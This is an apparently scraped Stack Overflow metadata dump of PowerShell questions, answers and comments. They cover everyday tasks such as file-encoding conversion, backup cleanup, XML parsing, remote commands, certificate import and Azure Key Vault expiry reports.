has comment: http://stackoverflow.com/comment/139457231
score: 0
type: UnansweredQuestion
tagged with: python
has title: Powershell to exe Start-up script, loses python's key listener focus
tagged with: startup
type: Question
has answer: http://stackoverflow.com/a/79088056
tagged with: windows-11
tagged with: headless

http://stackoverflow.com/q/79196973
has answer: http://stackoverflow.com/a/79201392
has comment: http://stackoverflow.com/comment/139653214
has comment: http://stackoverflow.com/comment/139653311
tagged with: utf-16
has comment: http://stackoverflow.com/comment/139654026
has comment: http://stackoverflow.com/comment/139653118
type: Question
has comment: http://stackoverflow.com/comment/139653322
has comment: http://stackoverflow.com/comment/139653049
has comment: http://stackoverflow.com/comment/139653957
tagged with: powershell
answer count: 1
has body: To whom it may concern, I want to convert my CSV, which is in UTF-8, into UTF-16 using PowerShell. For this task, I wrote the following line of code: $schuelerCSVUTF8 = Get-Content -Path "C:\tmp\PSProjekt\schueler.csv" | Set-Content -Path "C:\tmp\PSProjekt\lol\schueler.csv" -Encoding Unicode -Force I see in VS Code that the formatting has correctly changed to UTF-16 LE. But there is a problem. Some entries get converted correctly: Before converting, an entry in the CSV looks like this: Z�rcher. After converting, it looks like this: Zürcher. But others don't: Before converting, the entry in the CSV looks like this (already correct): Meriç After converting, it looks like this (now it's false): MeriÃ§ Does anyone know a solution to that or why that happens?
has title: Converting a UTF-8-CSV to UTF-16 (Unicode) in PowerShell
tagged with: http://stackoverflow.com/tag/csv
tagged with: unicode
score: 0
has comment: http://stackoverflow.com/comment/139653789
linked to: http://stackoverflow.com/q/66553344
type: UnansweredQuestion
tagged with: utf-8
has comment: http://stackoverflow.com/comment/139653066

http://stackoverflow.com/comment/139423099
comment on: http://stackoverflow.com/q/79069816
type: Comment
has text: @SantiagoSquarzon Yes, if I'd actually understand what's going on. ;-)
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139473046
comment on: http://stackoverflow.com/q/79095935
type: Comment
score: 1
type: QuestionComment
has text: If you follow @martinbrown’s suggestion, you could also potentially render the entire animation frame into a single string with embedded line breaks and write that with one call to ```write-host``` so you don’t see all the incremental line writes…

http://stackoverflow.com/q/79100715
has title: Powershell script to delete old backups beyond a certain date
has answer: http://stackoverflow.com/a/79100735
type: Question
has answer: http://stackoverflow.com/a/79101075
tagged with: powershell
has body: I'm trying to write a powershell script to delete old backups beyond a certain date. My folder would have a list of backups written every week or so. My logic is to first find all the backups older than a certain date, and then remove those. So I would need to extract the date and the corresponding backups. I tried extracting these inside a foreach statement, but there seems to be something wrong with the syntax. Any advice on how to proceed with this? My powershell script is below, ## Path $path = "C:\SFTP_Root\SMGR" ## Get the current date $Cur_dte = Get-Date echo "Today is $Cur_dte" ## Old date (Subtract current date by 2 months i.e. 60 days) $Old_dte = (Get-Date).AddDays(-60) echo "Old date is $Old_dte" ## Loop to extract the date and name of the backup) foreach (($i in Get-ChildItem -Path $path | select -ExpandProperty LastWriteTime) -and ($file in Get-ChildItem -Path $path | select -ExpandProperty Name)) { if ($i -lt $Old_dte) { echo "$file is old; will be deleted" } elseif ($i -gt $Old_dte) { echo "$file is recent; won't be deleted" } } And there are a lot of syntax errors in the foreach statement, t C:\Temp\backups_clean.ps1:14 char:10 + foreach (($i in Get-ChildItem -Path $path | select -ExpandProperty La ... + ~ Missing variable name after foreach. At C:\Temp\backups_clean.ps1:14 char:14 + foreach (($i in Get-ChildItem -Path $path | select -ExpandProperty La ... + ~~ Unexpected token 'in' in expression or statement. At C:\Temp\backups_clean.ps1:14 char:13 + foreach (($i in Get-ChildItem -Path $path | select -ExpandProperty La ... + ~ Missing closing ')' in expression. At C:\Temp\backups_clean.ps1:14 char:81 + ... ChildItem -Path $path | select -ExpandProperty LastWriteTime) -and ($ ... + ~ Unexpected token ')' in expression or statement. At C:\Temp\backups_clean.ps1:14 char:95 + ... $path | select -ExpandProperty LastWriteTime) -and ($file in Get-Chi ... + ~~ Unexpected token 'in' in expression or statement. At C:\Temp\backups_clean.ps1:14 char:94 + ... at…
score: 0
type: UnansweredQuestion
answer count: 2

http://stackoverflow.com/comment/139434881
score: 0
comment on: http://stackoverflow.com/q/79077437
type: QuestionComment
has text: It seems that ```[hashtable[]] $aoo = @(@{})*$idRange.Count``` doesn't create an array of 3 discrete hashtables - it creates an array that contains 3 references to the same hashtable - try ```[object]::referenceequals($aoo[0], $aoo[1])``` for example - you'll get ```true``` output. If you use ```$aoa = 1..$idRange.Count | foreach-object { @{} }``` instead it will create an array of 3 individual hashtables...
type: Comment

http://stackoverflow.com/comment/139612556
type: AnswerComment
type: Comment
has text: Oh, You should have clarified that, but anyways you should try and use AutoHotKey, i used it in a Windows VM some time ago for running vbs for some work and it does work, give it a go.
comment on: http://stackoverflow.com/a/79174522
score: 1

http://stackoverflow.com/comment/139569900
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79150422
has text: @SantiagoSquarzon : Everything. Only difference is my code outputs in XML which gives better results since folders are indented for each subfolder. Also my code will not fail when user does not have access to a folder or file. Get-ChildItem stops after first exception.

http://stackoverflow.com/comment/139586028
comment on: http://stackoverflow.com/q/79160366
type: QuestionComment
type: Comment
has text: I'm not sure I don't see something wrong in your code. `Get-ChildItem C:\Users\public\document\WIP\Personal\Projects` lists items right?
score: 0

http://stackoverflow.com/comment/139752374
score: 0
comment on: http://stackoverflow.com/a/79211175
has text: Used this method, but seems that the Get-Ciminstance failed, so I had to revert to get-wmiobject so it would work in my environment. Any way to mod this to show HDD sizes on the pc as separate columns in the same row ?
type: AnswerComment
type: Comment

freshservice-api
tags question: http://stackoverflow.com/q/79089000
type: Tag
tag name: freshservice-api

http://stackoverflow.com/comment/139730195
type: Comment
comment on: http://stackoverflow.com/a/79240036
has text: _"...you shouldn't even attempt to guard against invoking such a ScriptBlock..." I don't follow this line of reasoning. Suppose I encounter the stack trace in my OP? How do I, as a developer responsible for that occurrence, find the offending scriptblock? Obviously there is something wrong about my code that such a scriptblock got invoked. But how do I find that scriptblock when the error message reveals nothing other than that PowerShell crashed? The point of detecting such an offending scriptblock is so that the developer can find the offender and correct the problem.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139605638
score: 0
has text: that works! Thank you so much! You could consider making an answer so I could mark you answer as correct
comment on: http://stackoverflow.com/q/79167734
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79113079
type: Question
answer count: 1
has title: PowerShell, how to copy files with totals and log in file
downvote count: 1
tagged with: powershell
has answer: http://stackoverflow.com/a/79113258
has comment: http://stackoverflow.com/comment/139499636
score: 0
type: UnansweredQuestion
upvote count: 1
favorite count: 0
tagged with: for-loop
linked to: http://stackoverflow.com/q/41324882
has body: In PowerShell I use the following to copy all directory contents, including subdirectories and files. copy-item -Path $source_folder -destination $onedrive_folder -force -recurse How can I write a list of all files and subdirectories copied? Do I need to write a for statement, as I have read in some posts. I searched and some posts in PowerShell have written a for statement for all files copied with a counter.

http://stackoverflow.com/comment/139551489
comment on: http://stackoverflow.com/q/79141597
has text: This question is similar to: [Powershell equivalent of bash ampersand (&) for forking/running background processes](https://stackoverflow.com/questions/185575/powershell-equivalent-of-bash-ampersand-for-forking-running-background-proce). If you believe it’s different, please [edit] the question, make it clear how it’s different and/or how the answers on that question are not helpful for your problem.
type: QuestionComment
type: Comment
score: 1

command-line-arguments
tags question: http://stackoverflow.com/q/79234150
tag name: command-line-arguments
type: Tag
tags question: http://stackoverflow.com/q/79349089

http://stackoverflow.com/comment/139524247
comment on: http://stackoverflow.com/q/79124278
score: 0
has text: @MathiasR.Jessen In the exmaple above the "AA" would just be a longer string, or the output from `cat -Raw ".\dummy.txt"`.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139548394
type: Comment
has text: yes and Invoke-webrequest also.I have mentioned the script what I am using and associated files also mentioned their. Can you please take a look on that. I have even tried with HTTP client but same issue $content = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json") $response = $httpClient.PostAsync($applicationInsightsURL, $content).Result
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79136206

http://stackoverflow.com/comment/139592392
comment on: http://stackoverflow.com/q/79162911
type: QuestionComment
type: Comment
score: 0
has text: Start-ThreadJob is only availible in PS7, which unfortunatly is not availible at the productive system, so i need to run my script in PS5...

http://stackoverflow.com/comment/139660522
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79197561
has text: @Daniel I could get a list to work from, but with ~4000 files, having a parsing folder for *another* script is benificial for me
score: 0

http://stackoverflow.com/q/79227113
has comment: http://stackoverflow.com/comment/139707335
favorite count: 0
has answer: http://stackoverflow.com/a/79227179
accepted answer: http://stackoverflow.com/a/79227179
has title: How can I use the Where-Object in PSCommand in c#?
type: Question
answer count: 1
downvote count: 1
score: 2
has body: I am creating multiple conditional statements that look at the different PowerShell Commands. One I am having issue is get-hotfix where I want to use where-object but I am gettig this error when I invoke the PSCommand System.Management.Automation.RemoteException: 'Cannot bind parameter 'FilterScript'. Cannot convert the "$_.InstalledOn -gt $StartTimeGenerated" value of type "System.String" to type "System.Management.Automation.ScriptBlock".' Here is my code: if(command == "get-hotfix") { _HotFixViewAll = ReadInfo("ViewAllHotFix"); _hotfixInterval = Convert.ToDecimal(ReadInfo("HotFixInterval")); if (_HotFixViewAll != "Y") { DateTime DateNow = DateTime.Now; TimeSpan datetimeInterval = TimeSpan.FromDays((double)_hotfixInterval); DateTime StartTimeGenerated = DateNow.Subtract(datetimeInterval); var filterScript = ScriptBlock.Create("$_.InstalledOn -gt $StartTimeGenerated"); var whereCommand = new Command("Where-Object"); whereCommand.Parameters.Add("FilterScript", filterScript); whereCommand.Parameters.Add("ArgumentList", StartTimeGenerated); pipeline.Commands.Add(whereCommand); } var sortCommand = new Command("Sort-Object"); sortCommand.Parameters.Add("Property", "InstalledOn"); sortCommand.Parameters.Add("Descending"); pipeline.Commands.Add(sortCommand); } How can I resolve this? Full Approach using (var runspace = RunspaceFactory.CreateRunspace(connectioninfo)) { runspace.Open(); using (var pipeline = runspace.CreatePipeline()) { // Command to execute remotely var psCommand = new Command(command); pipeline.Commands.Add(psCommand); if(command == "get-hotfix") { _HotFixViewAll = ReadInfo("ViewAllHotFix"); _hotfixInterval = Convert.ToDecimal(ReadInfo("HotFixInterval")); if (_HotFixViewAll != "Y") { DateTime DateNow = DateTime.Now; TimeSpan datetimeInterval = TimeSpan.FromDays((double)_hotfixInterval); DateTime StartTimeGenerated = DateNow.Subtract(datetimeInterval); var filterScript = ScriptBlock.Create("$_.InstalledOn -gt $StartTimeGenerated"); var whereCommand = new C…
tagged with: powershell
type: AnsweredQuestion
upvote count: 3
tagged with: c#
linked to: http://stackoverflow.com/q/79048468

http://stackoverflow.com/q/79087523
tagged with: powershell
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/139454135
has body: The reason I believe I can't just set multiple start up projects is that they have to start in a certain order, and each one has to be fully initialized before the next project starts, and so I need to put delays in. I've been using PowerShell, but I just can't figure out how to launch a specific project. Right now my script looks like: ''' # Load the Visual Studio DTE COM object $visualStudio = [Runtime.InteropServices.Marshal]::GetActiveObject("VisualStudio.DTE.17.0") # Use 17.0 for VS2022 if ($null -eq $visualStudio) { Write-Host "No active Visual Studio instance found!" exit } # Path to the solution $solution = $visualStudio.Solution if ($solution.IsOpen) { Write-Host "Solution is open: $($solution.FullName)" # Get the projects in the solution $projects = $solution.Projects # Define the list of project names you want to start $desiredProjects = @( "Proj1", "Proj2", "Proj3" ) foreach ($desiredProjectName in $desiredProjects) { $projectFound = $null # Loop through each project to find by name for ($i = 1; $i -le $projects.Count; $i++) { $project = $projects.Item($i) Write-Host "Checking Project: $($project.Name)" if ($project.Name -eq $desiredProjectName) { $project.DTE.ExecuteCommand("ClassViewContextMenus.ClassViewProject.Debug.Startnewinstance") Write-Host "Found project: $($project.Name)" Write-Host "Project Type: $($project.Properties.Item('OutputType').Value)" # Set the project as the startup project # $solution.Properties.Item("StartupProject").Value = $project.UniqueName # Write-Host "Set startup project to: $($project.Name)" # Start debugging Write-Host "Started debugging for project: $($project.Name)" # Optional: Add delay before starting the next project Start-Sleep -Seconds 5 # Delay of 5 seconds (adjust as needed) break } } } ''' The problem is that this always just launches whatever I have set as the startup project. I would like it to start those projects in the list, in order, with that 5 second delay. I've tried changing the start up project, but …
type: Question
tagged with: visual-studio
accepted answer: http://stackoverflow.com/a/79091041
answer count: 1
has answer: http://stackoverflow.com/a/79091041
has title: Is there anyway to launch multiple Visual Studio projects, all in the same solution, for debugging, from powershell?
tagged with: scripting

http://stackoverflow.com/comment/139639432
score: 1
type: QuestionComment
has text: Powershell is still a **shell**, so you can still run netstat directly if you need to. But I understand using cmdlets, if they exist, will make further processing of the result easier.
comment on: http://stackoverflow.com/q/79189293
type: Comment

http://stackoverflow.com/comment/139657973
type: Comment
score: 0
type: AnswerComment
has text: Just wanted to know that Is it possible to trigger multiple pipelines here , by providing (,) separated pipeline names `- pwsh: >- $run=$( az pipelines run --name "deploySomething" --organization $(System.CollectionUri)` @Rui
comment on: http://stackoverflow.com/a/79178363

http://stackoverflow.com/comment/139541473
has text: You better [avoid using the increase assignment operator (``+=``) to create a collection](https://stackoverflow.com/a/60708579/1701026) as it is inefficiënt. (especially on older versions of PowerShell). For more general scripting considerations, see: [PowerShell scripting performance considerations](https://learn.microsoft.com/powershell/scripting/dev-cross-plat/performance/script-authoring-considerations). As for your you design: depending on how many users there are and how many you eventually query, you might consider to preload *all* ADUsers in once and index them based on their email.
comment on: http://stackoverflow.com/q/79134578
score: 2
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79230278
has comment: http://stackoverflow.com/comment/139713714
has comment: http://stackoverflow.com/comment/139713729
has comment: http://stackoverflow.com/comment/139719563
has comment: http://stackoverflow.com/comment/139719180
has comment: http://stackoverflow.com/comment/139719534
has comment: http://stackoverflow.com/comment/139717707
answers question: http://stackoverflow.com/q/79229813
has comment: http://stackoverflow.com/comment/139717859
type: Answer
has comment: http://stackoverflow.com/comment/139717712
has comment: http://stackoverflow.com/comment/139713770
has comment: http://stackoverflow.com/comment/139719139
score: 0
has comment: http://stackoverflow.com/comment/139717855
has body: To list all the keys, secrets, and certificates that are either expired or going to be expire in 20 days from multiple key vaults from multiple subscriptions, you can refer below sample PowerShell script: $AlertBeforeDays = 20 function Get-ExpiringItems { param ( [string]$VaultName, [string]$SubscriptionName, [datetime]$ExpiryDate ) $ExpiringItems = @() $Keys = Get-AzKeyVaultKey -VaultName $VaultName $ExpiringKeys = $Keys | Where-Object { $_.Expires -ne $null -and $_.Expires -lt $ExpiryDate } $ExpiringKeys | ForEach-Object { $ExpiringItems += [PSCustomObject]@{ SubscriptionName = $SubscriptionName VaultName = $VaultName ItemType = "Key" ItemName = $_.Id ExpiryDate = $_.Expires ExpiryInDays = ($_.Expires - (Get-Date)).Days Status = if ($_.Expires -lt (Get-Date)) { "Expired" } else { "Expiring Soon" } } } $Secrets = Get-AzKeyVaultSecret -VaultName $VaultName $ExpiringSecrets = $Secrets | Where-Object { $_.Expires -ne $null -and $_.Expires -lt $ExpiryDate } $ExpiringSecrets | ForEach-Object { $ExpiringItems += [PSCustomObject]@{ SubscriptionName = $SubscriptionName VaultName = $VaultName ItemType = "Secret" ItemName = $_.Id ExpiryDate = $_.Expires ExpiryInDays = ($_.Expires - (Get-Date)).Days Status = if ($_.Expires -lt (Get-Date)) { "Expired" } else { "Expiring Soon" } } } $Certificates = Get-AzKeyVaultCertificate -VaultName $VaultName $ExpiringCertificates = $Certificates | Where-Object { $_.Expires -ne $null -and $_.Expires -lt $ExpiryDate } $ExpiringCertificates | ForEach-Object { $ExpiringItems += [PSCustomObject]@{ SubscriptionName = $SubscriptionName VaultName = $VaultName ItemType = "Certificate" ItemName = $_.Id ExpiryDate = $_.Expires ExpiryInDays = ($_.Expires - (Get-Date)).Days Status = if ($_.Expires -lt (Get-Date)) { "Expired" } else { "Expiring Soon" } } } return $ExpiringItems } $CurrentDate = Get-Date $ExpiryDate = $CurrentDate.AddDays($AlertBeforeDays) $AllExpiringItems = @() $Subscriptions = Get-AzSubscription foreach ($Subscription in $Subscriptions…

http://stackoverflow.com/comment/139597300
has text: Yeah that's not going to work. The server doesn't know anything about the client's system and can't control it.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79164514
score: 0

http://stackoverflow.com/comment/139472750
has text: Removing the PING statement does not work. As for removing cls, I’m pretty sure that the windows cmd does not support ANSI escape codes. Unless I'm completely wrong
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79095935
score: 0

http://stackoverflow.com/q/79141636
has answer: http://stackoverflow.com/a/79141720
has title: PowerShell XML . (dot) notation, ho to read value of element with attribute?
has body: Good morning i have an XML file and i'm not able to read the inner html of a node with an attribute defined. file: <?xml version="1.0" encoding="UTF-8"?> ElemValue1 ElemValue2 code: [XML] $xconf= get-content $XmlFullFilename write-Host $xconf.Settings.Element1 write-Host $xconf.Settings.Element2 output: C:\Temp>script.ps1 <-- nothing ElemValue2 But if i remove the attribute from the first element, it works file: <?xml version="1.0" encoding="UTF-8"?> ElemValue1 ElemValue2 output: C:\Temp>script.ps1 ElemValue1 ElemValue2 How can i access the first element value, che the elements has an attribute? I prefer to do it with dot notation (file.section.element.etc....) Thank you MAX
tagged with: powershell
downvote count: 0
linked to: http://stackoverflow.com/q/77552553
has answer: http://stackoverflow.com/a/79142129
has answer: http://stackoverflow.com/a/79142676
type: UnansweredQuestion
score: 1
upvote count: 1
answer count: 4
tagged with: http://stackoverflow.com/tag/xml
has answer: http://stackoverflow.com/a/79141667
favorite count: 0
linked to: http://stackoverflow.com/q/60532805
type: Question

http://stackoverflow.com/comment/139648411
score: 0
type: AnswerComment
has text: I supposed the answer to this could help: where does `Function:\` path point to? Is it just pulling from a file on my computer?
type: Comment
comment on: http://stackoverflow.com/a/79194293

http://stackoverflow.com/a/79211865
has body: Try with this: # Path to Internet Explorer's Privacy settings in the Windows registry $registryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" # Set the value for '1A10' to controls cookies # 0 = Allow all cookies, 1 = Block all cookies, 2 = Prompt for cookies Set-ItemProperty -Path $registryPath -Name "1A10" -Value 0
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79210976
has comment: http://stackoverflow.com/comment/139713207

http://stackoverflow.com/comment/139437709
type: QuestionComment
has text: - In short: [`Select-Object`](https://docs.microsoft.com/powershell/module/microsoft.powershell.utility/select-object) (`select`) by default returns _a `[pscustomobject]` instance_ that has the _requested properties_ - even when you're only asking for a _single_ property. To get only that property's _value_, use the `-ExpandProperty` parameter instead of the (possibly positionally implied) `-Property` parameter. See the linked duplicate for details and alternatives, notably the ability to simply use `(...).SomeProperty`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79078432

http://stackoverflow.com/comment/139707895
type: Comment
score: 5
comment on: http://stackoverflow.com/q/79227388
has text: I don't understand your second example of `1,490,967`. If this is a number in European format, how can it have multiple decimal separators?
type: QuestionComment

http://stackoverflow.com/comment/139583200
score: 0
comment on: http://stackoverflow.com/q/79158483
type: QuestionComment
has text: Thanks @Theo i already fix this, but same problem
type: Comment

http://stackoverflow.com/a/79202285
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/79201535
score: 2
has body: There are 2 clear solutions to your issue. 1. dot sourcing Change powershell to a dot . .\my_functions.ps1 When you call powershell you are actually calling powershell.exe which launches a different process/session, loads the function into that session, then the session ends and takes that definition with it. Dot sourcing will pull that function into your current scope. 2. Rename .ps1 to .psm1 and use Import-Module Import-Module .\my_functions.psm1 This will Import functions into the current session. Also, as Darin pointed out in the comments, you have an extra pair of parenthesis. When you define a function, you can use the inline syntax Function Get-Something ($Param1, $Param2){ ... } or with a Param() block. (Decorating the param block with [cmdletbinding()] or at least one Parameter with [parameter()] makes it an advanced function) Function Get-Something { [cmdletbinding()] Param( $Param1, $Param2 ) ... } It doesn't appear to cause issues as you have it, but is confusing for others at a minimum. EDIT mklement0 pointed out the Import-Module works on .ps1 as well. He is correct as I just confirmed. I'll leave the answer as is but renaming to psm1 is NOT required.
has comment: http://stackoverflow.com/comment/139665653
has comment: http://stackoverflow.com/comment/139665855
has comment: http://stackoverflow.com/comment/139665351
accepted answer of: http://stackoverflow.com/q/79201535
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139665552
type: Answer

http://stackoverflow.com/a/79238148
type: Answer
answers question: http://stackoverflow.com/q/79238099
has body: First, simplify the way you are getting the title from each file, in this case you can use a regex pattern and remove -SimpleMatch, you can also add -List so it stops searching after the first match. Example: $testLines = @( 'short_title_eng = Archive' 'short_title_fra = Création de compte pour le calendrier des événements' 'short_title_eng = Event Calendar Account Creation' ) $testLines | Select-String -Pattern '(?&lt;=short_title_(?:eng|fra)\s*=\s*)\S+.*' | ForEach-Object { $_.Matches[0].Value } # Outputs: # # Archive # Création de compte pour le calendrier des événements # Event Calendar Account Creation Here you can see the details for the regex: https://regex101.com/r/2GRoCf/2. Now that you have simplify how you get the titles then you can add that logic to a calculated property with Select-Object: $expression = { # `$_` is a FileInfo instance, you can pipe it directly to `Select-String` which already knows how to read files! $match = $_ | Select-String -Pattern '(?&lt;=short_title_(?:eng|fra)\s*=\s*)\S+.*' -Encoding UTF8 -List $match.Matches[0].Value } Get-ChildItem C:\dev\docs\ -File -Recurse -Filter *.php | Select-Object -Property Name, Extension, Fullname, LastWriteTime, @{ N = 'Title'; E = $expression } | Export-Csv -Append -Path C:\TEMP\PHPdocsTest.csv If the calculated property approach is hard to follow you can convert that logic into a loop and create your object via [pscustomobject]: Get-ChildItem C:\dev\docs\ -File -Recurse -Filter *.php | ForEach-Object { $match = $_ | Select-String -Pattern '(?&lt;=short_title_(?:eng|fra)\s*=\s*)\S+.*' -Encoding UTF8 -List [pscustomobject]@{ Name = $_.Name Extension = $_.Extension Fullname = $_.Fullname LastWriteTime = $_.LastWriteTime Title = $match.Matches[0].Value } } | Export-Csv -Append -Path C:\TEMP\PHPdocsTest.csv
has comment: http://stackoverflow.com/comment/139738520
score: 0
has comment: http://stackoverflow.com/comment/139738001

http://stackoverflow.com/q/79187932
type: AnsweredQuestion
tagged with: powershell
has comment: http://stackoverflow.com/comment/139637421
has answer: http://stackoverflow.com/a/79188477
has body: In a PowerShell script, I have something like this: $Session = New-PSSession -ComputerName "WSEM00G2NZ" -Credential $credObject Invoke-Command -Session $Session -Scriptblock { python path\to\script\print_stuff.py } Remove-PSSession -Session $Session I.e. it runs a python script on a remote machine. Running the script, I can see the output from the python script. Now, I would like to capture a return value, but if I change the PowerShell script to the following, I don't see the output of the python script anymore. $Session = New-PSSession -ComputerName "WSEM00G2NZ" -Credential $credObject $returnedValue = Invoke-Command -Session $Session -Scriptblock { python path\to\script\print_stuff.py } Remove-PSSession -Session $Session Why is this, and how can I both capture a return value, and have the output from the python script be visible on screen?
has comment: http://stackoverflow.com/comment/139637221
tagged with: powershell-remoting
has comment: http://stackoverflow.com/comment/139637148
score: 1
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/79188477
type: Question
answer count: 1
has title: When capturing the return value of Invoke-Command I don't see the output of the commands
downvote count: 0

http://stackoverflow.com/comment/139460836
type: AnswerComment
comment on: http://stackoverflow.com/a/79091087
type: Comment
score: 1
has text: @user27817415: Please see my update, which now uses more flexible regex patterns to match variable amounts of whitespace. In the future, to avoid this back and forth, please provide _representative_ sample input in your question and describe all variations that must be handled.

http://stackoverflow.com/a/79238201
accepted answer of: http://stackoverflow.com/q/79237732
upvote count: 1
score: 1
type: AcceptedAnswer
has body: Could anyone explain to me why, upon running this script I get the following error: [Unable to find type]? A using namespace statement merely provides syntactic convenience: it allows you to reference already loaded types by their simple name, without having to use the namespace part (in the case at hand, [Application] instead of [Microsoft.Office.Interop.Word.Application]) Thus, you must ensure separately that the assemblies containing the types of interest are loaded, either via using assembly statements or Add-Type calls. Therefore: # NOTE: # Windows PowerShell only - doesn't work in PowerShell (Core) 7, as of v7.4.x using assembly Microsoft.Office.Interop.Word using namespace Microsoft.Office.Interop.Word using namespace System.Management.Automation $ErrorActionPreference = [ActionPreference]::Stop [Application]$wordApp = New-Object -ComObject Word.Application $wordApp.Name # Get and output the .Name property value, for demonstration purposes. $wordApp.Quit() Note: This does not work in PowerShell (Core) 7, as of v7.4.x: Generally, there seems to be a problem with loading well-known assemblies with using assembly - see GitHub issue #11856. However, even using Add-Type -AssemblyName doesn't help in this case, because the PIAs (Primary Interop Assemblies) (such as Microsoft.Office.Interop.Word.dll) are in an older part of the GAC (Global Assembly Cache) that PowerShell 7 does not consult by default. Trying to load such an assembly with an explicit path, i.e. via Add-Type -LiteralPath, fails quietly; e.g.: # !! Fails quietly in PowerShell (Core) 7 Add-Type -LiteralPath C:\WINDOWS\assembly\GAC_MSIL\Microsoft.Office.Interop.Word\15.0.0.0__71e9bce111e9429c\Microsoft.Office.Interop.Word.dll` That said, there is an obscure workaround that involves explicitly loading the office.dll assembly by full path too, as detailed in GitHub issue #24627 (the latter's primary purpose is to report the unexpected quiet failure). The root cause seems to be that when loading assemblies …
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79237732

http://stackoverflow.com/q/79166949
tagged with: http://stackoverflow.com/tag/xml
accepted answer: http://stackoverflow.com/a/79167760
tagged with: windows
type: Question
has body: We are running a PowerShell command and in that PowerShell command we are calling the XML file and trying to install veeam software. I am getting an error like hexadecimal value 0x00, is an invalid character. Line 2, position 1. Could someone please kindly help me to fix this issue? We have no idea about that. I have attached the XML file below. '.', hexadecimal value 0x00, is an invalid character. Line 2, position 1. <?xml version="1.0" encoding="utf-8"?> <unattendedInstallationConfiguration bundle="Vbr" mode="install" version="1.0"> <property name="ACCEPT_EULA" value="1" /> <property name="ACCEPT_LICENSING_POLICY" value="1" /> <property name="ACCEPT_THIRDPARTY_LICENSES" value="1" /> <property name="ACCEPT_REQUIRED_SOFTWARE" value="1" /> <property name="VBR_LICENSE_FILE" value="C:\Provision\Install\IMS\VeeamInstall\Veeam-32sockets-backup-ent-perpetual.lic" /> <property name="VBR_LICENSE_AUTOUPDATE" value="0" /> <property name="VBR_SERVICE_USER" value="User2" /> <property name="VBR_SERVICE_PASSWORD" value="Welcome@1234" hidden="1" /> <property name="VBR_SQLSERVER_INSTALL" value="1" /> <property name="VBR_SQLSERVER_ENGINE" value="1" /> <property name="VBR_SQLSERVER_SERVER" value="localhost:5432" /> <property name="VBR_SQLSERVER_DATABASE" value="VeeamBackup" /> <property name="VBR_SQLSERVER_AUTHENTICATION" value="0" /> <property name="VBR_SQLSERVER_USERNAME" value="User2" /> <property name="VBR_SQLSERVER_PASSWORD" value="Welcome@1234" hidden="1"/> <property name="VBRC_SERVICE_PORT" value="9393" /> <property name="VBR_SERVICE_PORT" value="9392" /> <property name="VBR_SECURE_CONNECTIONS_PORT" value="9401" /> <property name="VBR_RESTSERVICE_PORT" value="9419" /> <property name="INSTALLDIR" value="C:\Program Files\Veeam\Backup and Replication" /> <property name="VM_CATALOGPATH" value="C:\VBRCatalog" /> <property name="VBR_IRCACHE" value="C:\ProgramData\Veeam\Backup\IRCache" /> <property name="VBR_CHECK_UPDATES" value="0" /> <property name="AHV_INSTALL" value="1" /> <prope…
has comment: http://stackoverflow.com/comment/139599656
has answer: http://stackoverflow.com/a/79167760
has comment: http://stackoverflow.com/comment/139607710
has comment: http://stackoverflow.com/comment/139599186
linked to: http://stackoverflow.com/q/134494
has comment: http://stackoverflow.com/comment/139598451
downvote count: 0
tagged with: powershell
tagged with: powershell-3.0
type: AnsweredQuestion
has title: hexadecimal value 0x00, is an invalid character. Line 2, position 1
possible better answer: http://stackoverflow.com/a/79193803
has comment: http://stackoverflow.com/comment/139599646
linked to: http://stackoverflow.com/q/44765194
has answer: http://stackoverflow.com/a/79193803
has comment: http://stackoverflow.com/comment/139598865
has comment: http://stackoverflow.com/comment/139598465
linked to: http://stackoverflow.com/q/29915467
linked to: http://stackoverflow.com/q/40551076
answer count: 2
linked to: http://stackoverflow.com/q/1091945
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139643943

http://stackoverflow.com/q/79192349
has body: I am using a deployment task sequence to call a Powershell script to install multiple certificates, but it is not installing them. The command I am using is the following: Import-Certificate -FilePath "%DeploymentRoot\Scripts\certs\cert1.cer" -CertStoreLocation Cert:LocalMachine\My Import-Certificate -FilePath "%DeploymentRoot\Scripts\certs\cert2.cer" -CertStoreLocation Cert:LocalMachine\My I tested changing to the full path and installs on the server. I am getting the following error when the PXE machine finishes installing: Unknown error (Error: 00002A95; Source: Unknown) Task Sequence Engine failed! Code: enExecutionFail Task sequence execution failed with error code 80004005 RegQueryValueExW is unsuccessful for Software\Microsoft\SMS\Task Sequence, SMSTSEndProgram GetTsRegValue0 is unsuccessful. Ox80070002 Error Task Sequence Manager failed to execute task sequence, Code Ox80004005
tagged with: mdt
type: UnansweredQuestion
upvote count: 1
tagged with: wds
score: 1
favorite count: 0
type: Question
has title: Add multiple certificates in MDT task sequence
tagged with: ipxe
has answer: http://stackoverflow.com/a/79192362
tagged with: powershell
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/139667673
type: QuestionComment
type: Comment
has text: Hi Mathias, I updated post with more details.
score: 0
comment on: http://stackoverflow.com/q/79204361

http://stackoverflow.com/comment/139498772
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79101817
score: 0
has text: I appreciate the support a lot. Thank you!

http://stackoverflow.com/comment/139624838
score: 0
type: AnswerComment
has text: While that's true (re: Microsoft supporting WCF in .NET Framework), it was ported to .NET Core as [CoreWCF](https://github.com/CoreWCF/CoreWCF) and is [claimed as supported on .NET8.0](https://github.com/CoreWCF/CoreWCF/releases/tag/v1.6.0).
comment on: http://stackoverflow.com/a/79178582
